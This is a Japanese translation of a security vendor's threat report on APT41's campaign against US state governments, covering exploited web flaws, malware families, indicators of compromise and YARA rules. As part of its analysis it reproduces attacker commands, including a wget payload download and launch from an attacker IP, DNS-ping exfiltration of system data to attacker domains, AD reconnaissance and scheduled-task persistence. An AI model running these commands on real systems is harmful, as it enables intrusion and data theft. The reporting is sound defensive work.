これは感染しているように見えますか?米国の州政府を標的としたAPT41の概要

U.S. state government campaign timeline news

更新 (3 月 8 日): 元の投稿では、CVE-2021-44207 (USAHerds)が、2021 年 11 月 15 日またはその前後に適用可能な展開のために Acclaim Systems によって開発されたパッチを持っていたという完全な明確性を提供していない可能性があります。この脆弱性パッチの入手可能性を超えたビルド、展開、採用、またはその他の技術的要因。

2021 年 5 月、Mandiant は、米国州政府のコンピューター ネットワークを標的とした APT41 の侵入に対応しました。これは、対象ネットワークへの最初の足場として脆弱なインターネット向け Web アプリケーションを使用して、APT41 が実施した数か月にわたる持続的なキャンペーンに対する Mandiant の洞察のほんの始まりに過ぎませんでした。 APT41 は、公共部門と民間部門の両方の組織を標的とすることで知られる、中国政府が支援する多作なスパイ活動グループであり、個人的な利益のために金銭を動機とする活動も行っています。

このブログ投稿では、APT41 の継続的な取り組みについて詳しく説明します。APT41 は、脆弱なインターネット向け Web アプリケーションを悪用して、少なくとも 6 つの米国州政府のネットワークを侵害することに成功しました。これには、USAHerds アプリケーションのゼロデイ脆弱性 (CVE-2021-44207) の使用が含まれます。 Log4j の悪名高いゼロデイ (CVE-2021-44228) も同様です。 APT41 のキャンペーンの全体的な目的は不明のままですが、これらの侵入のそれぞれを調査した結果、さまざまな新しい手法、マルウェアの亜種、回避方法、および機能が明らかになりました。

キャンペーン概要

APT41 は歴史的に大規模なスキャンと脆弱性の悪用を行ってきましたが、2021 年 5 月から 2022 年 2 月までの APT41 の活動を調査した結果、米国の州政府を標的とした意図的なキャンペーンの証拠が明らかになりました。この期間中、APT41 は、多くの場合 ASP.NET で記述された脆弱なインターネット向け Web アプリケーションを悪用して、少なくとも 6 つの米国州政府のネットワークを侵害することに成功しました。ほとんどの Web アプリケーション侵害で、APT41 は .NET デシリアライゼーション攻撃を実行しました。ただし、SQL インジェクションとディレクトリ トラバーサルの脆弱性を悪用する APT41 も確認されています。

APT41 がプロプライエタリ Web アプリケーションの SQL インジェクションの脆弱性を介してアクセスした場合、Mandiant Managed Defense はその活動を迅速に検出して封じ込めました。しかし、その 2 週間後、APT41 は、市販の (CoTS) アプリケーションである USAHerds のこれまで知られていなかったゼロデイ脆弱性を悪用して、ネットワークを再び侵害しました。他の 2 つの事例では、Mandiant は 1 つの州機関で調査を開始しましたが、APT41 が同じ州の別の関係のない機関にも侵入したことを発見しました。

また、APT41 は、既存の運用を維持しながら、公開された脆弱性を迅速に適応させて使用し、ターゲット ネットワークへの初期アクセスを取得しました。 2021 年 12 月 10 日、Apache Foundation は、一般的に使用されているログ フレームワーク Log4J の重大なリモート コード実行 (RCE) の脆弱性に関するアドバイザリをリリースしました。勧告から数時間以内に、APT41 は脆弱性を悪用し始め、その後、少なくとも 2 つの米国の州政府と、保険および通信業界における従来の標的に侵入しました。

2022 年 2 月下旬、APT41 は以前の米国州政府の被害者 2 人を再び侵害しました。進行中の調査では、この活動が APT41 の 2021 年 5 月から 12 月の活動と密接に一致しており、2022 年までキャンペーンが継続していることを示しており、州政府のネットワークにアクセスしたいという彼らの絶え間ない欲求を示しています。このキャンペーンによる代表的な侵入のタイムラインを図 1 に示します。

U.S. state government campaign timeline
図 1: 米国州政府のキャンペーン タイムライン

このキャンペーンの目的は現在不明ですが、Mandiant は APT41 が個人を特定できる情報(PII) を盗み出している証拠を観察しています。 PII データの被害者学と標的化はスパイ活動と一致していますが、Mandiant は、APT41 が個人的な金銭的利益のために副業を行ってきた歴史を考えると、現時点で決定的な評価を下すことはできません。

デシリアライゼーションの脆弱性の悪用

APT41 は、主に悪意のあるViewStatesを使用して、標的の Web アプリケーションに対するコード実行をトリガーしています。 ASP.NET フレームワーク内では、ViewState は、アプリケーションのページとコントロールの値をサーバーとの間の HTTP 要求に格納するためのメソッドです。 ViewState は、非表示のフォーム フィールドに Base64 でエンコードされた文字列として各 HTTP 要求と共にサーバーに送信されます。 Web サーバーは文字列をデコードし、文字列に追加の変換を適用して、サーバーが使用できるデータ構造にアンパックできるようにします。このプロセスは、逆シリアル化と呼ばれます。

ユーザーが指定した入力の非セキュアな逆シリアル化により、コードが実行される可能性があります。 ASP.NET には、ViewState に使用されるObjectStateFormatterなど、 安全でない逆シリアル化プロバイダーがいくつかあります。攻撃者が ViewState を操作して安全でない逆シリアル化プロバイダーを利用するのを防ぐために、ViewState はメッセージ認証コード (MAC) によって保護されています。この MAC は、サーバーが ViewState が改ざんされていないことを確認するために使用する、暗号で署名されたハッシュ値であり、コード実行をトリガーする可能性があります。 ViewState の整合性は、アプリケーションのmachineKeyの機密性に依存しますmachineKeyは、アプリケーション サーバーweb.configという名前の構成ファイルに格納されます

図 2 web.config ファイルの machineKey 属性の例
<machineKey validationKey="XXXXXXXXXXXXXXXXX" decryptionKey="XXXXXXXXXXXXXXXXXXXXXX" validation="SHA1" />

machineKeyを知っている攻撃者は、悪意のある ViewState を構築し、サーバーが受け入れる新しい有効な MAC を生成できます。有効な MAC を使用すると、サーバーは悪意のある ViewState を逆シリアル化し、サーバー上でコードを実行します。これらの悪意のある ViewState を構築するために、 YSoSerial .NETなどの公開ツールが存在します。これはまさに、APT41 が 2021 年 5 月にキャンペーンを開始した方法です。

独自の Web アプリケーション ターゲティング

APT41 がこのキャンペーンを開始する 1 年前の 2020 年 6 月、Mandiant は、APT41 がディレクトリ トラバーサルの脆弱性を悪用して、特に被害者の Web サーバー上の脆弱な Web アプリケーションのweb.configファイルを読み取るインシデントを調査しました。次に、APT41 は、 web.configファイルのmachineKey値を使用して、デシリアライゼーション エクスプロイト用の悪意のある ViewState ペイロードを生成しました。 Mandiant は、APT41 が 2021 年 5 月に悪用された独自のアプリケーションや、2021 年 7 月に最初に悪用された USAHerds アプリケーションのmachineKey値を最初に取得した方法を特定しませんでした。ただし、APT41 が同様の手段でweb.configファイルを取得した可能性があります。

悪意のある ViewState を作成するために、APT41 は公開されている Github プロジェクト YSoSerial.NET に依存していました。任意の .NET アセンブリをメモリに正常にロードするために、APT41 は、ViewState ペイロードを介して、実行中のアプリケーションのConfigurationManager.AppSettingsクラス内でDisableActivitySurrogateSelectorTypeCheckプロパティ フラグをtrueに設定しました。その後、APT41 は、ディスク上のハードコードされたファイルパスに Webshell を書き込むように構成された追加の YSoSerial ペイロードを使用して、.NET アセンブリをメモリにロードしました。

逆シリアル化された .NET アセンブリ (dnSpy)
図 3: 逆シリアル化された .NET アセンブリ (dnSpy)

図 4 は、簡体字中国語キーボード言語のコード ページ 936 を利用する APT41 によって、悪意のある ViewState オブジェクトを介して展開された JScript Webshell の例を示しています。

逆シリアル化された JScript Webshell
図 4: デシリアライズされた JScript Webshell

デシリアライゼーション エクスプロイトと、新しいハンティング ルール生成ツール「 HeySerialに関する追加情報については、ブログ記事「 Now You Serial, Now You Don’t — Deserialization Exploits を体系的にハンティングする」を参照してください。

USAHerds (CVE-2021-44207) ゼロデイ

2021 年からの 3 回の調査で、APT41 はUSAHerds Web アプリケーションのゼロデイ脆弱性を悪用しました。 USAHerds は、ASP.NET で記述された CoTS アプリケーションであり、動物の健康管理のために 18 の州で使用されています。 USAHards の脆弱性 (CVE-2021-44207) は、以前に報告された Microsoft Exchange Server の脆弱性 ( CVE -2020-0688) に似ています。この脆弱性では、アプリケーションは静的なvalidationKeydecryptionKey (まとめてmachineKeyと呼ばれます) をデフォルトで使用していました。その結果、USAHerds のすべてのインストールでこれらの値が共有されました。これは、アプリケーション インスタンスごとに一意に生成されたmachineKey値を使用するベスト プラクティスに反しています。

値は ViewState の整合性を確保するために使用されるため、一意のmachineKey値を生成することは ASP.NET Web アプリケーションのセキュリティにとって重要です。

Mandiant は、APT41 が最初に USAHerds のmachineKey値を取得した方法を特定しませんでした。しかし、APT41 がmachineKeyを取得すると、USAHerds を実行しているインターネット上の任意のサーバーを侵害することができました。その結果、未知の被害者が増える可能性があります。

Log4j (CVE-2021-44228)

最新の APT41 キャンペーンは、2021 年 12 月に CVE-2021-44228 とそれに関連する概念実証のエクスプロイトがリリースされた直後に始まりました。Log4Shell としても知られるこの脆弱性を悪用すると、Java はリモートの Java オブジェクトを取得して逆シリアル化します。コード実行の可能性。以前の Web アプリケーションの標的化と同様に、APT41 は YSoSerial で生成されたデシリアライゼーション ペイロードを引き続き使用して、偵察を実行し、バックドアを展開しました。特に、APT41 はKEYPLUGバックドアの新しい亜種を Linux サーバーに複数の被害者に展開しました。これは、現在KEYPLUG.LINUXとして追跡されているマルウェア サブファミリーです。 KEYPLUG は C++ で記述されたモジュール式のバックドアで、HTTP、TCP、KCP over UDP、WSS など、コマンド アンド コントロール (C2) トラフィック用の複数のネットワーク プロトコルをサポートします。 APT41 は、2021 年 6 月から 2021 年 12 月にかけて、州政府の被害者に対して Windows バージョンの KEYPLUG バックドアを頻繁に使用したため、州政府のキャンペーンの直後にバックドアの移植バージョンを展開したことは重要でした。

Log4Shell を悪用した後も、APT41 はデシリアライゼーション ペイロードを使用してドメインに ping コマンドを発行し続けました。これは、APT41 が数か月前に政府の被害者に頻繁に使用した手法です。 ping コマンドの例を図 5 に示します。

図 5: 攻撃者が制御するインフラストラクチャへの ping コマンド
ping -c 1 libxqagv[.]ns[.]dns3[.]cf

ターゲット環境へのアクセスを取得すると、APT41 はホストとネットワークの偵察を実行してから、KEYPLUG.LINUX を展開して環境内に足場を確立しました。 KEYPLUG.LINUX の展開に使用されるサンプル コマンドを図 6 に示します。

図 6: Log4j の悪用に続く KEYPLUG.LINUX の展開

wget http://103.224.80[.]44:8080/kernel

chmod 777 kernel

mv kernel .kernel

nohup ./.kernel &

「All Killer No Filler」侵入 TTP

更新されたトレード クラフトと新しいマルウェアは、APT41 が非常に適応性が高く機知に富んだアクターであることを示し続けています。このセクションでは、最も適切な侵害後の手法について詳しく説明します。

偵察

APT41 は、インターネットに接続されたサーバーへの最初のアクセスを取得した後、広範な偵察と資格情報の収集を行いました。よく見られる戦術は、 ConfuserEx難読化されたBADPOTATOバイナリを展開して、ローカルのNT AUTHORITYSYSTEM権限昇格のために名前付きパイプのなりすましを悪用することです。 APT41 が NT AUTHORITY SYSTEM権限に昇格すると、ローカルのSAMおよびSYSTEMレジストリ ハイブをステージング ディレクトリにコピーして、資格情報の収集と抽出を行いました。さらに、APT41 はMimikatzを使用して、ダンプされたレジストリ ハイブに対してlsadump::samコマンドを実行し、ローカルに保存された資格情報と NTLM ハッシュを取得しました。

また、APT41 は、Windows コマンドライン ツールdsquery.exe (MD5: 49f1daea8a115dd6fce51a1328d863cf) とそれに関連するモジュールdsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) を侵入先のサーバーのステージング ディレクトリにアップロードすることで、Active Directory の偵察を行いました。図 7 は、環境内のさまざまな Active Directory オブジェクトを列挙するために使用される複数のdsqueryコマンドを示しています。

図 7: dsquery Active Directory 偵察コマンド

c:programdatadsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName -L -limit 0

c:programdatadsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp distinguishedName description managedBy mS-DS-CreatorSID -limit 0

c:programdatadsquery.exe * -filter "(objectCategory=Computer)" -attr cn servicePrincipalName -L -limit 0

c:programdatadsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName description -limit 0

c:programdatadsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated distinguishedName gPLink -limit 0

ある米国州政府による侵入の初期段階で、Mandiant は、DUSTPAN として追跡している APT41 によって使用される新しいマルウェア ファミリを特定しました。 DUSTPAN は、C++ で記述されたインメモリ ドロッパーで、ChaCha20 を利用して埋め込まれたペイロードを復号化します。 DUSTPAN のさまざまなバリエーションは、バイナリで暗号化されたハードコードされたファイルパスからペイロードをロードして実行することもできます。 DUSTPAN は、2021 年 8 月に Trend Micro によって報告された、正式に名前が付けられたStealthVectorと一致しています。侵入中、DUSTPAN は Cobalt Strike BEACON バックドアを投下するために使用されました。

反分析

APT41 は、 DEADEYE ランチャーや LOWKEYバックドアなどの既存のツールキットで高度なマルウェアを引き続き活用し調査を妨げる機能や分析防止技術を追加しています。最近の侵入で、 Mandiantは、ローカル ファイルの代替データ ストリームに含まれる新しいマルウェアの亜種 DEADEYE.EMBED を特定しました。 DEADEYE.EMBED の亜種は、DEADEYE.APPEND に見られるように、ファイルの末尾のオーバーレイに追加されるのではなく、コンパイルされたバイナリ内にペイロードを埋め込みます。

APT41 は通常、VMProtect を使用してマルウェアをパッケージ化し、リバース エンジニアリングの取り組みを遅らせます。複数の米国州政府による侵入の際、APT41 は、VMProtect パッケージ化された DEADEYE バイナリをディスク上の複数のセクションに分割することで、別の分析対策技術を組み込みました。バイナリを複数のファイルに分割すると、フォレンジック調査中にすべてのサンプルを正常に取得できる可能性が低くなります。被害者のホストに DEADEYE を展開する際に APT41 が使用する一般的なファイル命名規則を図 8 に示します。

デッドアイのファイル名
図 8: DEADEEYE のファイル名

これらのファイルは、図 9 に示すように、実行前に 1 つの DLL に結合されます。

図 9: DEADEYE セクションを連結する DEADEYE コマンド
"cmd" /c copy /y /b C:Userspublicsyslog_6-*.dat C:Userspublicsyslog.dll

VMProtect パッケージ化されたマルウェアをディスク上で分離するだけでなく、APT41 は標準の VMProtect セクション名 (.vmp) を UPX セクション名 (.upx) に変更しました。そうすることで、マルウェアは、VMProtect でパッケージ化されたバイナリにフラグを付ける基本的なハンティング検出を回避できます。 Log4j のエクスプロイト中に、APT41 は同様に KEYPLUG.LINUX バイナリを「xaa」、「xab」、「xac」、「xad」という名前の 4 つの個別のファイルにチャンクしました。 APT41 は、VMProtect を使用して KEYPLUG.LINUX バイナリもパッケージ化し、UPX セクション名を使用しました。この手法は、当社のマルウェア リポジトリ全体で普及率が非常に低く、ELF ファイル全体を検索する場合はさらに普及率が低くなります。

APT41 は、キャンペーン中に使用された DEADEYE 実行ガードレール機能も更新しました。ガードレールは、攻撃者が意図したシステムでのみバイナリが実行されるようにするために、マルウェアが使用する手法です。古いキャンペーンの DEADEYE サンプルでは、被害者のコンピューターのボリューム シリアル番号が使用されていましたが、その後、米国州政府のキャンペーン中にホスト名や DNS ドメインを使用するように更新されました。ローカル コンピューターのホスト名と DNS ドメインを取得するために、DEADEYE は WinAPI 関数GetComputerNameAおよび/またはGetComputerNameExAを実行し、生成された復号化キーの入力として提供します。

持続性

APT41 は引き続き高度なトレードクラフトを利用して、持続的で検出されないようにします。複数の事例で、KEYPLUG バックドアの Windows バージョンは、2 つの別々の技術コミュニティ フォーラムでデッド ドロップ リゾルバーを利用していました。マルウェアは、特定のフォーラム投稿のエンコードされたデータから真の C2 アドレスを取得します。特に、APT41 は、キャンペーン中に新しいデッド ドロップ リゾルバを使用して、コミュニティ フォーラムの投稿を頻繁に更新し続けています。 APT41 はこれまで、他の侵入の際にこの独自のトレード クラフトを使用して、C2 インフラストラクチャを隠蔽してきました。

DEADEYE の実行を持続させるために、APT41 はschtasks /changeコマンドを利用して、 SYSTEMのコンテキストで実行される既存のスケジュールされたタスクを変更しました。 APT41 は通常、図 10 に示す例のように、バイナリ実行用のスケジュールされたタスクでLiving off the land バイナリ (lolbin) shell32.dll!ShellExec_RunDLLAを使用します。

図 10: 変更されたスケジュール済みタスク
SCHTASKS /Change /tn "MicrosoftWindowsPLAServer Manager Performance Monitor" /TR "C:windowssystem32rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:windowssystem32msiexec.exe /Z c:programdataS-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE

APT41 は、米国州政府への侵入で DEADEYE ドロッパーを持続させるために、次の Windows スケジュール タスクを利用しています。

  • MicrosoftWindowsPLAServer Manager Performance Monitor
  • MicrosoftWindowsRasManagerMobility
  • MicrosoftWindowsWDISrvSetupResults
  • MicrosoftWindowsWDIUSOShared

APT41 がマルウェアを起動するために使用するもう 1 つの手法は、正規の Windows PE バイナリのインポート アドレス テーブル (IAT) に悪意のあるインポートを追加することです。その結果、正規のバイナリが実行されると、悪意のあるライブラリが読み込まれ、その DllEntryPoint が呼び出されます。正規の Microsoft HealthService.exeバイナリの変更された IAT を図 11 に示します。

変更された IAT (CFF エクスプローラー)
図 11: 変更された IAT (CFF エクスプローラー)

APT41 は、ステルス パッシブ バックドアLOWKEY.PASSIVEを介して、被害者の環境に合わせてマルウェアを調整し続けています。ある侵入の際、APT41 は USAHerds サーバーを悪用し、その後 DEADEEYE.APPEND を実行して、メモリ内に LOWKEY.PASSIVE を投下しました。特定された LOWKEY.PASSIVE サンプルは、次の URL エンドポイントのいずれかを要求する着信接続をリッスンしました。

  • http://<HOST:PORT>/USAHerds/Common/%s.css
  • https://<HOST:PORT>/USAHerds/Common/%s.css

APT41 は頻繁に LOWKEY.PASSIVE URL エンドポイントを構成して、感染したサーバー上で通常の Web アプリケーション トラフィックになりすました。

「成都はいつも曇っている」 — Cloudflare の使用

APT41 は、C2 通信とデータ漏洩のために Cloudflare サービスの使用を大幅に増やしました。具体的には、APT41 はCloudflare Workersを活用して、C2 トラフィックを APT41 が運用するインフラストラクチャにプロキシするのに役立つ Cloudflare CDN 経由でアクセス可能なサーバーレス コードを展開しました。

複数の被害者に対して、APT41 は ping コマンドを発行しました。そこでは、偵察コマンドの出力が Cloudflare プロキシインフラストラクチャのサブドメインの前に追加されました。 ping コマンドが実行されると、ローカル DNS リゾルバは、前に追加されたコマンド出力を含む、作成されたドメインを解決しようとしました。 DNS の前方参照は最終的にプライマリ ドメインの Cloudflare ネーム サーバーに到達しましたが、作成されたドメインの IP アドレスを解決できませんでした。ただし、攻撃者が制御するドメインの DNS アクティビティ ログには、サブドメインの DNS ルックアップが記録されていたため、グループは偵察コマンドの出力を収集できました。

この手法の例を図 12 ~図 15 に示します。

図 12: 偵察による流出
$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace('-','')+""[.]ns[.]time12[.]cf"")
図 13: 流出認識
cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf

図 14 では、APT41 がコマンドを発行して、システムのボリューム シリアル番号を見つけました。これは、歴史的に DEADEYE ペイロードの復号化キーとして使用されてきました。

図 14: ボリューム シリアル番号の流出
ping -n 1 ((cmd /c dir c:|findstr Number).split()[-1]+'.ns[.]time12[.]cf

この最後の例では、コマンドはファイルsyslog_6-1.datの長さを出力します。これは、複数のファイルを完全な悪意のある実行可能ファイルに結合する前に、ファイルが完全にディスクに書き込まれていることを確認する可能性があります。

図 15: ファイル サイズの流出
ping -n 1 ((ls C:Userspublicsyslog_6-1.dat).Length.ToString()+"".ns[.]time12[.]cf"")

APT41 は、PII データを 16 進数でエンコードし、その結果を攻撃者が制御するドメインのサブドメインとして先頭に追加することで、前述の手法を活用してさらにデータを盗み出しました。 ping コマンドによってトリガーされた結果の DNS ルックアップは、アクティビティ ログに記録され、APT41 が利用できます。

APT41 による Cloudflare サービスの継続的な使用は、最近開発されたKEYPLUGサンプルでさらに実証されています。 Mandiant は、C2 通信に WebSocket over TLS (WSS) プロトコルを利用する独自の機能が KEYPLUG に追加されていることを確認しました。 Cloudflareによると、WebSocket トラフィックは Cloudflare CDN エッジ サーバーを介して確立でき、指定されたオリジン サーバーにデータをプロキシします。

KEYPLUG には、ハードコードされた 1 バイトの XOR エンコードされた構成ファイルが含まれており、特定の通信プロトコル、サーバー、および追加設定がリストされています。 KEYPLUG は実行時にハードコードされた構成ファイルをデコードした後、構成を解析して、コマンドと制御に使用する適切なネットワーク プロトコルとサーバーを決定します。構成が解析された後、KEYPLUG はリストから CIDR ブロックをランダムに選択し、感染したコンピューターの現在のティック カウントに基づいて CIDR ブロック内の IP アドレスをランダムに選択します。

図 16 は、最近の米国州政府による侵入で特定された構成ファイルの例を示しています。

図 16: キープラグ構成
WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1| afdentry.workstation.eu.org:443

図16にリストされているCIDRブロックは、WSS接続を悪意のあるドメインafdentry[.]workstation[.]eu[.]orgにリダイレクトするCloudflare CDN関連インフラストラクチャです。

図 17 は、Cloudflare インフラストラクチャを使用して WSS プロトコルを開始およびアップグレードするために KEYPLUG によって送信される HTTP 要求の例です。

キープラグ HTTP アップグレード リクエスト
図 17: KEYPLUG HTTP アップグレード リクエスト

この悪意のある活動について Cloudflare に通知したところ、Cloudflare は悪意のあるインフラストラクチャへの通信を妨害するための迅速な措置を講じました。 APT41 による Cloudflare サービスの使用の増加は、Cloudflare の柔軟性を活用し、真の C2 サーバーの識別とブロックを阻止したいという願望を示しています。

見通し

米国の州政府に対する APT41 の最近の活動は、新しい攻撃ベクトルから侵害後のツールや手法まで、重要な新機能で構成されています。 APT41 は、別の方法で環境を再侵害するか、新たな脆弱性を迅速に運用することで、初期アクセス手法を迅速に適応させることができます。このグループはまた、将来の使用のためにそれらを保持するのではなく、新しい攻撃ベクトルを通じて機能を再構築および展開する意欲を示しています. USAHerds キャンペーンのすぐ近くで Log4J を悪用する APT41 は、このグループが、巧妙に利用された攻撃ベクトルを通じて米国の州政府を標的にし続ける柔軟性を示しました。 APT41 は、2020 年 9 月の米国司法省 (DOJ) の起訴によって引き続き阻止されません。

指標

マルウェアファミリー

MD5

SHA1

SHA256

キープラグ.LINUX

900ca3ee85dfc109baeed4888ccb5d39

355b3ff61db44d18003537be8496eb03536e300f

e024ccc4c72eb5813cc2b6db7975e4750337a1cc619d7339b21fdbb32d93fd85

キープラグ.LINUX

b82456963d04f44e83442b6393face47

996aa691bbc1250b571a2f5423a5d5e2da8317e6

d7e8cc6c19ceebf0e125c9f18b50167c0ee65294b3fce179fdab560e3e8e0192

DSQUERY

49f1daea8a115dd6fce51a1328d863cf

e85427af661fe5e853c8c9398dc46ddde50e2241

ebf28e56ae5873102b51da2cc49cbbe43192ca2f318c4dfc874448d9b85ebd00

DSQUERY

b108b28138b93ec4822e165b82e41c7a

7056b044f97e3e349e3e0183311bb44b0bc3464f

062a7399100454c7a523a938293bef7ddb0bc10636ed402be5f9797d8cc3c57e

バッドポテト

143278845a3f5276a1dd5860e7488313

6f6b51e6c88e5252a2a117ca1cfb57934930166b

a4647fcb35c79f26354c34452e4a03a1e4e338a80b2c29db97bba4088a208ad0

環境

指標

米国州政府のキャンペーン – USAHerds (CVE-2021-44207) の悪用

194[.]195[.]125[.]121

194[.]156[.]98[.]12

54[.]248[.]110[.]45

45[.]153[.]231[.]31

185[.]118[.]167[.]40

104[.]18[.]6[.]251

104[.]18[.]7[.]251

20[.]121[.]42[.]11

34[.]139[.]13[.]46

54[.]80[.]67[.]241

149[.]28[.]15[.]152

18[.]118[.]56[.]237

107[.]172[.]210[.]69

172[.]104[.]206[.]48

67[.]205[.]132[.]162

45[.]84[.]1[.]181

cdn[.]ns[.]time12[.]cf

East[.]winsproxy[.]com

afdentry[.]ワークステーション[.]eu[.]org

ns1[.]entrydns[.]eu[.]org

サブネット[.]ミリ秒[.]com

work[.]viewdns[.]ml

work[.]queryip[.]cf

Log4j (CVE-2021-44228) の悪用

103[.]238[.]225[.]37

182[.]239[.]92[.]31

microsoftfile[.]com

ダウンフラッシュ[.]com

libxqagv[.]ns[.]dns3[.]cf

検出

rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config

{

    meta:

        author = "Mandiant"

        description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://, WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were present in the generated strings to reduce false positives."

    strings:

        // TCP

        $tcp1   = "TCP://"  xor(0x01-0x2E)

        $tcp2   = "TCP://"  xor(0x30-0xFF)

        $ptcp1  = "|TCP://" xor(0x01-0x2E)

        $ptcp2  = "|TCP://" xor(0x30-0xFF)

        // UDP

        $udp1   = "UDP://"  xor(0x01-0x2E)

        $udp2   = "UDP://"  xor(0x30-0xFF)

        $pudp1  = "|UDP://" xor(0x01-0x2E)

        $pudp2  = "|UDP://" xor(0x30-0xFF)

        // WSS

        $wss1   = "WSS://"  xor(0x01-0x2E)

        $wss2   = "WSS://"  xor(0x30-0x52)

        $wss3   = "WSS://"  xor(0x54-0xFF)

        $pwss1  = "|WSS://" xor(0x01-0x2E)

        $pwss2  = "|WSS://" xor(0x30-0x52)

        $pwss3  = "|WSS://" xor(0x54-0xFF)

        // HTTP

        $http1  = "+http"   xor(0x01-0x73)

        $http2  = "+http"   xor(0x75-0xFF)

        $phttp1 = "|+http"  xor(0x01-0x73)

        $phttp2 = "|+http"  xor(0x75-0xFF)

        // Sleep value

        $zeros1 = "00|"     xor(0x01-0x2F)

        $zeros2 = "00|"     xor(0x31-0xFF)

    condition:

        filesize < 10MB and

        (uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and

        for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and

        for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and

        any of ($zeros*)

}

rule M_Hunting_MSIL_BADPOTATO

{

    meta:

        author = "Mandiant"

        description = "Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO resource."

    strings:

        $dotnetdll = "x00_CorDllMainx00"

        $dotnetexe = "x00_CorExeMainx00"

        $s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }

        $s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }

        $s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }

        $s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*)

}

謝辞

この調査を可能にしてくださったインシデント対応コンサルタント、マネージド ディフェンス レスポンダー、FLARE リバース エンジニアに感謝します。さらに、Alyssa Rahman、Dan Perez、Ervin Ocampo、Blaine Stancill、Nick Richard のテクニカル レビューに感謝します。

参照: https://www.mandiant.com/resources/blog/apt41-us-state-governments

Comments

タイトルとURLをコピーしました